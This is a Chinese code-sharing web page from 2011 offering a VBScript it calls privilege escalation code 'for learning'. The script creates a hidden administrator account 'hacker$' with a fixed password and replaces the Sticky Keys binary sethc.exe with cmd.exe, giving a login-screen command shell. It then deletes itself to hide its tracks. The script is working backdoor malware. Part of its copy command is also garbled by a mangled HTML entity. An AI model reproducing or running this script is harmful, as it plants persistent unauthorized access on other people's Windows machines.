提權(quán)vbs代碼
更新時間:2011年06月16日 00:54:27 作者:
用了提升用戶權(quán)限的腳本代碼,學(xué)習(xí)vbs的朋友可以參考下。
復(fù)制代碼 代碼如下:
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
相關(guān)文章
用vbs將輸出內(nèi)容寫到屏幕以覆蓋當(dāng)前屏幕上的內(nèi)容的方法
用vbs將輸出內(nèi)容寫到屏幕以覆蓋當(dāng)前屏幕上的內(nèi)容的方法...2007-03-03VBS調(diào)用WMI實現(xiàn)搜索硬盤mp3文件
如果你想用遞歸搜索我也沒辦法。下面的程序搜索電腦上所有的MP3文件。2011-01-01注冊表-批處理-VBS之間的相互結(jié)合應(yīng)用
注冊表-批處理-VBS之間的相互結(jié)合應(yīng)用...2007-10-10